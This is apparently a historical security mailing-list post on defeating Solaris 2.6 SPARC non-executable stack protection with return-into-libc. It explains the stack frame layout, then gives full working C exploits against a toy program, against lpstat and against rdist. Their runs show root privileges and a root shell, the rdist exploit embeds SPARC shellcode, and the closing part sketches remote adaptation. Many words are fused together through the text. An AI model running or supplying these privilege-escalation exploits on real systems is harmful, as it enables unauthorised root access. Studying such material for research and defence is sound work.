Hi,
I've recently been playing around with bypassing the non-executablestack
protection that Solaris 2.6 provides. I'm referring to the mechanismthat you
control with the noexec_user_stack option in /etc/system. I've foundit's
quite possible to bypass this protection, using methods described previously
on this list. Specifically, I have had success in adapting the returninto
libc methods introduced by Solar Designer and Nergal to Solaris/SPARC.
I've included some sample code in this email, including an exploit forrdist,
and an exploit for lpstat. These exploits should work on machines withthe
stack protection enabled, though they may require some groundwork beforebeing
used. Neither of these programs exploit a new bug, so the appropriatefixes
for these holes should work fine.
First of all, I'd like to thank stranJer, Solar Designer, duke and the
various inhabitants of #!adm for reviewing this for me and providinga lot
of valuable input.
Ok.. it's important to have a general understanding of how the stackis
layed out under SPARC/Solaris. There are several good references onthe net
for this information, so I will try to keep this brief..
The stack frame looks roughly like this (to the best of my knowledge):
Stack inside the body of a function (after save)
================================================
Higher addresses
----------------
%fp+92->any incoming args beyond 6 (possible)
%fp+68->room for us to store copies of the incoming arguments
%fp+64->pointer to where we can place our return value if necessary
%fp+32->saved %i0-%i7
%fp---->saved %l0-%l7
%fp---->(previous top of stack)
*space for automatic variables*
possible room for temporariesand padding for 8 byte alignment
%sp+92->possible room for outgoing parameters past 6
%sp+68->room for next function to store our outgoing arguments (6 words)
%sp+64->pointer to room for the return value of the next function
%sp+32->saved %o0-%o7 / room for next non-leaf function to save %i0-%i7
%sp---->room for next non-leaf function to save %l0-%l7
%sp---->(top of stack)
---------------
Lower addresses
So, from the top of the stack, looking up, we have room for the nextfunction
to save our %l and %i registers. A copy of the arguments given to usby the
previous function (the %o0-o7 registers) are saved at %sp + 0x10. Noneof the
resources I've seen on the web document this, but inspection in gdbshows that
this is the case.
Next, there is a one word pointer to memory where a function we callcan place
it's return value. Typically, we can expect the return value to bein %o0, but
it is possible for a function to return something that can't fit ina register
(such as a structure). In this case, we place the address of the memorywhere
we want the return value to be placed into this location before callingthe
function. The return value is placed in that memory, and the addressof that
memory is also returned in %o0.
Next, we have 6 words reserved for the next function to be able to storethe
arguments we pass to it through the registers. Some of the sites onthe web
indicate that this is necessary in case the called function needs tobe able
to take the address of one of it's incoming parameters (you can't takethe
address of a register).
Next on the stack, there is temporary storage and padding for alignment.The
stack pointer has to be aligned on an 8 byte boundary. Our automaticvariables
are saved on the stack next. From within this function, we can addressthe
automatic variables relative to %fp (%fp - something).
If we perform an overflow of an automatic variable, we are going tooverwrite
the saved %i and %l values of the function that called the functionwith
the automatic variable. When the function with the automatic variablereturns,
it will return into the caller, because it has the return address storedin
it's %i7 register. Then, the restore instruction will move the contentsof the
%i registers into the %o registers. Our bogus values for %l and %iwill then
be read from the stack into the registers. On the next return froma function,
the program will return into the address we put at %i7's place on thestack
frame. This explains why you need two returns to perform a classicbuffer
overflow.
Moving on.. In this email, I'm presenting three different variationson the
return into libc method. The first one I demonstrate with a 'fake'bug. This
is our vulnerable program:
---hole.c---
int jim(char *str)
{
char buf[256];
strcpy(buf,str);
}
int main(int argc, char **argv)
{
jim(argv[1]);
}
------------
hole.c is an extremely simple program with an obvious stack buffer overflow.
If we wrote a typical program to exploit this, it would follow thisflow:
1. The program would proceed to the strcpy..
2. The strcpy will overwrite the saved %i and %l registers in main'sstack
frame.
3. The jim function will do a restore, and increment the CWP. Thiswill result
in our overflowed values being put into the %i and %lregisters. It will
'ret' into main.
4. The main function will then do a ret/restore. The ret instructionwill read
our provided %i7, and transfer the flow of control toit. The CWP will again
be incremented, And our bogus %i registers will becomethe %o registers.
A typical exploit would return into shellcode on the stack at this point,
which would do it's thing with basically no regard for what is in the
registers. However, with the stack protections in place, this behaviorwill
cause the processor to fault upon attempting to execute code on a pagewhere
it is not permitted.
To get around this, we wish to have our program return into a libc call.For
this exploit, I've chosen system(). system() is easy because it onlytakes one
argument. When we enter the code for system(), we expect it's argumentsto be
in %o0-%o7. Then, the system function will do the save instruction,and move
the arguments into the %i0-%i7 registers. Getting our arguments intosystem()
in the %o0-%o7 registers is somewhat easy to accomplish. Remember thatthe
first ret/restore will pull our values off of the stack into the %land %i
registers. Thus, we can put any values we want into these registerswhen we
overflow the stack based variable. The second ret/restore will movewhats in
the %i0-%i7 registers into the %o0-%o7 registers, and jump to whatwe had in
the %i7 register. So, we can put the address of system() in our saved%i7, and
the program's execution will resume there. So, when the program enters
system(), the first instruction it will execute is a 'save'. This willmove
the values in %o0-%o7 back into %i0-%i7. Let's look at the exploit:
---exhole.c---
/*
example return into libc exploit for fake vulnerabilityin './hole'
by horizon <jmcdonal@unf.edu>
to compile:
gcc exhole.c -o exhole -lc -ldl
*/
#include <stdio.h>
#include <dlfcn.h>
#include <signal.h>
#include <setjmp.h>
int step;
jmp_buf env;
void fault()
{
if (step<0)
longjmp(env,1);
else
{
printf("Couldn't find /bin/sh at a goodplace in libc.\n");
exit(1);
}
}
int main(int argc, char **argv)
{
void *handle;
long systemaddr;
long shell;
char examp[512];
char *args[3];
char *envs[1];
long *lp;
if (!(handle=dlopen(NULL,RTLD_LAZY)))
{
fprintf(stderr,"Can't dlopen myself.\n");
exit(1);
}
if ((systemaddr=(long)dlsym(handle,"system"))==NULL)
{
fprintf(stderr,"Can't find system().\n");
exit(1);
}
systemaddr-=8;
if (!(systemaddr & 0xff) || !(systemaddr * 0xff00)||
!(systemaddr & 0xff0000) || !(systemaddr& 0xff000000))
{
fprintf(stderr,"the address of system()contains a '0'. sorry.\n");
exit(1);
}
printf("System found at %lx\n",systemaddr);
/* let's search for /bin/sh in libc - from SD's originallinux exploits */
if (setjmp(env))
step=1;
else
step=-1;
shell=systemaddr;
signal(SIGSEGV,fault);
do
while (memcmp((void *)shell, "/bin/sh",8)) shell+=step;
while (!(shell & 0xff) || !(shell & 0xff00) ||!(shell & 0xff0000)
|| !(shell & 0xff000000));
printf("/bin/sh found at %lx\n",shell);
/* our buffer */
memset(examp,'A',256);
lp=(long *)&(examp[256]);
/* junk */
*lp++=0xdeadbe01;
*lp++=0xdeadbe02;
*lp++=0xdeadbe03;
*lp++=0xdeadbe04;
/* the saved %l registers */
*lp++=0xdeadbe10;
*lp++=0xdeadbe11;
*lp++=0xdeadbe12;
*lp++=0xdeadbe13;
*lp++=0xdeadbe14;
*lp++=0xdeadbe15;
*lp++=0xdeadbe16;
*lp++=0xdeadbe17;
/* the saved %i registers */
*lp++=shell;
*lp++=0xdeadbe11;
*lp++=0xdeadbe12;
*lp++=0xdeadbe13;
*lp++=0xdeadbe14;
*lp++=0xdeadbe15;
*lp++=0xeffffbc8;
/* the address of system ( -8 )*/
*lp++=systemaddr;
*lp++=0x0;
args[0]="hole";
args[1]=examp;
args[2]=NULL;
envs[0]=NULL;
execve("./hole",args,envs);
}
--------------
As you can see, the layout of the stack past the buffer has been mapped.This
is easy to do using marker values and gdb. The first thing this exploitdoes
is find the address of system() in libc. It does this using the dlopen()and
dlsym() functions. If the exploit is linked exactly the same as thetarget
executable, then we will be able to predict where libc will be mappedin the
target. The exploit then finds a copy of the string '/bin/sh' in libc.It does
this by searching through the memory around system(). This is almostthe exact
same code presented in Solar Designer's original return-into-libc exploit.
In this exploit, %i0 is set to the address of the string '/bin/sh' inlibc.
%i6 (the frame pointer) is set to 0xeffffbc8. This is just a placein the stack
that system() can use as it's stack. system() will look into the registers
for it's arguments, so we don't really care what is on the stack, aslong as
system() can safely write to it. %i7 (our return address) is set tothe
address we found for system(). Note that this is actually the addresswe wish
to go to minus 8, because the ret instruction will add 8 to the saved%fp.
(in order to skip the call instruction and it's delay slot).
So, does it work?
bash-2.02$ gcc exhole.c -o exhole -lc -ldl
bash-2.02$ ./exhole
System found at ef768a84
/bin/sh found at ef790378
$
yup.:>
As you might expect, things don't go quite so smoothly when we attemptthis
technique in a live exploit. I have chosen lpstat as my next target.
The first problem you will run into is that the program will modifythe %i
registers after the first return. This happened in both the lpstatand rdist
exploits. This problem requires us to extend our technique to be more
powerful.
What I do in the lpstat exploit is create a fake stack frame in theenv space.
Then, I put it's address in our saved %fp. Then, instead of returninginto the
system() function, I return into system()+4, bypassing the save instruction.
So, what does all this do? Well, our values get loaded into the %l0-l7and
%i0-%i7 registers after the first ret/restore. The next ret/restoremoves
our values into %o0-%o7, and jumps to our saved %i7. This *also* loadsin the
%i0-%i7 and %l0-%l7 registers from the stack. So, when we specify asaved %fp,
and we hit the second restore, the processor assumes our %fp was it'sold %sp,
and loads the %l and %i registers from the stack frame at %fp. Thismeans
that we can specify what we want the %l and %i registers to containupon
entering wherever it is that we return into.
We skip the 'save' instruction, because that would move the %o0-%o7back to the
%i0-%i7 registers, and overwrite our malicious values.
Having solved that, we stumble onto our second problem: the system()function
uses /bin/sh -c to execute it's argument. Under Solaris, /bin/sh willdrop it's
privileges if it is run with a non-zero ruid, and an euid of zero.
The obvious solution to this is to try to do a setuid(0) before werun system.
So, we need to find a way to chain functions together.. i.e. to returninto
one function, and have it return into another. It is important to notethat
there are two kinds of functions: leaf and non-leaf functions. Theleaf
functions do not use any stack space to do their work, and do not callany
other functions. Thus, they don't need to use the 'save' instructionto set up
a stack frame. They operate using the registers in %o0-%o7 as theirarguments.
When a leaf function is done, it returns by jumping to the addressit has in
%o7. The non-leaf functions are ones that require a stack frame, andthey use
the 'save', 'ret', and 'restore' instructions.
We can chain non-leaf functions together by making a fake stack framefor
every function that we need to return into, and placing the addressof the
next function into the %i7 position on the fake stack frame. This works
because we skip the save instruction, which allows us to keep feedingin
fake stack frame information, and specfying the %i and %l registersfor each
function we enter.
However, there is a limitation of our return into libc method: We can't
return into a leaf function, unless it is the last function we returninto.
A leaf function does not do a save or restore, it simply assumes it's
arguments are in the %o0-%o7 registers. It returns by doing a retl,which
jumps to %o7. The problem is that if we return into a leaf function,the
address of that leaf function will be in %o7. Thus, when the leaf function
tries to return, it will jump back to itself, causing an infinite loop.We
can't get a leaf function to return into another function because itdoesn't
use the ret/restore sequence to return. Thus, even though we can controlwhat
values are in the %i and %l registers, the leaf function will not usethese
values for arguments or the return address.
So, for a solution here, we simply return into execl(). This takes verysimilar
arguments to system, except that we need to have a NULL argument toterminate
the list of arguments. This is easy to do since we are passing in ourfake
stack frame through the env space.
Here is the lpstat exploit:
---lpstatex.c---
/*
lpstat exploit for Solaris 2.6 - horizon - <jmcdonal@unf.edu>
This demonstrates the return into libc technique for bypassingstack
execution protection. This requires some preliminary knowledgefor use.
to compile:
gcc lpstatex.c -o lpstatex -lprint -lc -lnsl -lsocket -ldl-lxfn -lmp -lC
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/systeminfo.h>
#include <unistd.h>
#include <dlfcn.h>
#define BUF_LENGTH 1024
int main(int argc, char *argv[])
{
char buf[BUF_LENGTH * 2];
char teststring[BUF_LENGTH * 2];
char *env[10];
char fakeframe[512];
char padding[64];
char platform[256];
void *handle;
long execl_addr;
u_char *char_p;
u_long *long_p;
int i;
int pad=31;
if (argc==2) pad+=atoi(argv[1]);
if (!(handle=dlopen(NULL,RTLD_LAZY)))
{
fprintf(stderr,"Can't dlopen myself.\n");
exit(1);
}
if ((execl_addr=(long)dlsym(handle,"execl"))==NULL)
{
fprintf(stderr,"Can't find execl().\n");
exit(1);
}
execl_addr-=4;
if (!(execl_addr & 0xff) || !(execl_addr * 0xff00)||
!(execl_addr & 0xff0000) || !(execl_addr& 0xff000000))
{
fprintf(stderr,"the address of execl()contains a '0'. sorry.\n");
exit(1);
}
printf("found execl() at %lx\n",execl_addr);
char_p=buf;
memset(char_p,'A',BUF_LENGTH);
long_p=(unsigned long *) (char_p+1024);
*long_p++=0xdeadbeef;
/* Here is the saved %i0-%i7 */
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xeffffb68; // our fake stack frame
*long_p++=execl_addr; // we return into execl() in libc
*long_p++=0;
/* now we set up our fake stack frame in env */
long_p=(long *)fakeframe;
*long_p++=0xdeadbeef; // we don't care about locals
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xefffffac; // points to our string to exec
*long_p++=0xefffffac; // argv[1] is a copy of argv[0]
*long_p++=0x0; // NULL for execl();
*long_p++=0xefffffcc;
*long_p++=0xeffffd18;
*long_p++=0xeffffd18;
*long_p++=0xeffffd18; // this just has to be somewhereit can work with
*long_p++=0x11111111; // doesn't matter b/c we exec
*long_p++=0x0;
/* This gives us some padding to play with */
memset(teststring,'A',BUF_LENGTH);
teststring[BUF_LENGTH]=0;
sysinfo(SI_PLATFORM,platform,256);
pad+=20-strlen(platform);
for (i=0;i<pad;padding[i++]='C')
padding[i]=0;
env[0]="";
env[1]=(fakeframe);
env[2]=&(fakeframe[40]);
env[3]=&(fakeframe[40]);
env[4]=&(fakeframe[40]);
env[5]=&(fakeframe[44]);
env[6]=teststring;
env[7]="A=/bin/id";
env[8]=padding;
env[9]=NULL;
execle("/usr/bin/lpstat","lpstat","-c",buf,(char *)0,env);
perror("execle failed");
}
----------------
Looking at this exploit, you can see how we build a fake stack framein env,
and have the program we are exploiting read it in. We return into execl(),
just past the 'save', and it uses the arguments we provide in %i0-%i7.Also,
note that we pass in the command we want to run through the environment,as
opposed to searching for it in libc.
Here's what it looks like:
bash-2.02$ gcc lpstatex.c -o lpstatex -lprint -lc -lnsl -lsocket -ldl-lxfn -lmp -lC
bash-2.02$ ./lpstatex
found execl() at ef6e93a4
UX:lpstat: ERROR: Class
...
(lpstat spews for a while)
...
¤" does not exist.
TO FIX: Usethe "lpstat -c all" command to list
all known classes.
uid=120(jmcdonal) gid=15(develop) euid=0(root)
bash-2.02$
In the exploit, we ran /bin/id, which you see here. If you are so inclined,you
can easily change it to run something like /tmp/aa, which will giveyou the
appropriate permissions and exec a shell.
So, this works pretty well. However, we still have a big problem withour
technique: it is impossible to return into a leaf function before returning
into any other function. This unfortunately means we cant return intosetuid()
or seteuid() to restore our privileges before exec'ing something. Thereare a
few options in overcoming this problem, but I have choosen a fairlysimple
one...
We will return into a strcpy, which will copy our shellcode from theenv space,
into somewhere where it is safe to run it. We will then have that strcpy
return into our shellcode. This exploit is very similar to the previousone,
with the exception that we are doing a second return.
Here is the exploit:
---rdistex.c---
/*
rdist exploit for Solaris 2.6 - horizon - <jmcdonal@unf.edu>
This demonstrates the return into libc technique for bypassingstack
execution protection. This requires some preliminary knowledgefor use.
to compile:
gcc rdistex.c -o rdistex -lsocket -lnsl -lc -ldl -lmp
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/systeminfo.h>
#include <unistd.h>
#include <dlfcn.h>
u_char sparc_shellcode[] =
"\xAA\xAA\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08\xAA";
#define BUF_LENGTH 1024
int main(int argc, char *argv[])
{
char buf[BUF_LENGTH * 2];
char tempbuf[BUF_LENGTH * 2];
char teststring[BUF_LENGTH * 2];
char padding[128];
char *env[10];
char fakeframe[512];
char platform[256];
void *handle;
long strcpy_addr;
long dest_addr;
u_char *char_p;
u_long *long_p;
int i;
int pad=25;
if (argc==2) pad+=atoi(argv[1]);
char_p=buf;
if (!(handle=dlopen(NULL,RTLD_LAZY)))
{
fprintf(stderr,"Can't dlopen myself.\n");
exit(1);
}
if ((strcpy_addr=(long)dlsym(handle,"strcpy"))==NULL)
{
fprintf(stderr,"Can't find strcpy().\n");
exit(1);
}
strcpy_addr-=4;
if (!(strcpy_addr & 0xff) || !(strcpy_addr * 0xff00)||
!(strcpy_addr & 0xff0000) || !(strcpy_addr& 0xff000000))
{
fprintf(stderr,"the address of strcpy()contains a '0'. sorry.\n");
exit(1);
}
printf("found strcpy() at %lx\n",strcpy_addr);
if ((dest_addr=(long)dlsym(handle,"accept"))==NULL)
{
fprintf(stderr,"Can't find accept().\n");
exit(1);
}
dest_addr=dest_addr & 0xffff0000;
dest_addr+=0x1800c;
if (!(dest_addr & 0xff) || !(dest_addr & 0xff00)||
!(dest_addr & 0xff0000) || !(dest_addr& 0xff000000))
{
fprintf(stderr,"the destination addresscontains a '0'. sorry.\n");
exit(1);
}
printf("found shellcode destination at %lx\n",dest_addr);
/* hi sygma! */
memset(char_p,'A',BUF_LENGTH);
long_p=(unsigned long *) (char_p+1024);
/* We don't care about the %l registers */
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
/* Here is the saved %i0-%i7 */
*long_p++=0xdeadbeef;
*long_p++=0xefffd378; // safe value for dereferencing
*long_p++=0xefffd378; // safe value for dereferencing
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xeffffb78; // This is where our fake framelives
*long_p++=strcpy_addr; // We return into strcpy
*long_p++=0;
long_p=(long *)fakeframe;
*long_p++=0xAAAAAAAA; // garbage
*long_p++=0xdeadbeef; // %l0
*long_p++=0xdeadbeef; // %l1
*long_p++=0xdeadbeaf; // %l2
*long_p++=0xdeadbeef; // %l3
*long_p++=0xdeadbeaf; // %l4
*long_p++=0xdeadbeef; // %l5
*long_p++=0xdeadbeaf; // %l6
*long_p++=0xdeadbeef; // %l7
*long_p++=dest_addr; // %i0 - our destination (i justpicked somewhere)
*long_p++=0xeffffb18; // %i1 - our source
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xdeadbeef;
*long_p++=0xeffffd18; // %fp - just has to be somewherestrcpy can use
*long_p++=dest_addr-8; // %i7 - return into our shellcode
*long_p++=0;
sprintf(tempbuf,"blh=%s",buf);
/* This gives us some padding to play with */
memset(teststring,'B',BUF_LENGTH);
teststring[BUF_LENGTH]=0;
sysinfo(SI_PLATFORM,platform,256);
pad+=21-strlen(platform);
for (i=0;i<pad;padding[i++]='A')
padding[i]=0;
env[0]=sparc_shellcode;
env[1]=&(fakeframe[2]);
env[2]=teststring;
env[3]=padding;
env[4]=NULL;
execle("/usr/bin/rdist","rdist","-d",tempbuf,"-c","/tmp/","${blh}",
(char *)0,env);
perror("execl failed");
}
---------------
This technique seems to work well:
bash-2.02$ gcc rdistex.c -o rdistex -lsocket -lnsl -lc -ldl -lmp
bash-2.02$ ./rdistex
found strcpy() at ef62427c
found shellcode destination at ef7a800c
rdist: line 1: Pathname too long
...
rdist: line 1: Pathname too long
#
These exploits require a high degree of precision. I've tried to takeout most
of the guesswork, but there are two things that might cause the exploitsto
fail. The lpstat and rdist exploits expect certain things to be inthe
environment at exact locations. We use the execle function, specifyingthe
entire environment, so you wouldn't think this would be a problem.However,
Solaris 2.6 puts two things at the very top of the environment space:
the name of the program that is being run, and the platform of themachine.
I have attempted to take this into account in the two exploits, buthave only
been able to test on two different platforms. Thus, you might needto adjust
the 'pad' variable if the exploits do not seem to be working. You canadjust
this value via the command line. It's probably best to try incrementsof 4.
Also, there is a bit of a guess in the rdist exploit as to where toplace the
shellcode in libc. The exploit gets the address of a symbol in libsocket,then
bitwise ands it with 0xffff0000 and then adds 0x1800c. The point ofthis is
to guess at where the section for libsocket's data will be mapped.If this is
a problem, then you can use /usr/proc/bin/pmap along with gdb to figureout a
good address to store the shellcode in.
Hopefully, these exploits demonstrate that it is important to make surethat
programs that run at an elevated privilege are free of buffer overflowbugs.
The stack protection will certainly help protect you from the majorityof
intruders, but moderately competent intruders will probably be ableto bypass
it.
I believe that these techniques could be adopted for use in a remoteexploit.
Assuming we go with the strcpy technique, the attacker would need todo
several things. First of all, the attacker would need to put the fakestack
frame somewhere in the buffer that was overflowed. Then the attackerwould
have to make educated guesses at a few things. These would be: thelocation
that strcpy() is mapped at, a safe location to store the shellcode,and the
location of the fake stack frame. You could make pretty educated guessesat all
of these, so it might only require a small number of tries. Of course,the
added time and interaction that this would involve certainly makesthe stack
protection useful.
I welcome any comments or criticisms about this post.
Thanks,
horizon <jmcdonal@unf.edu>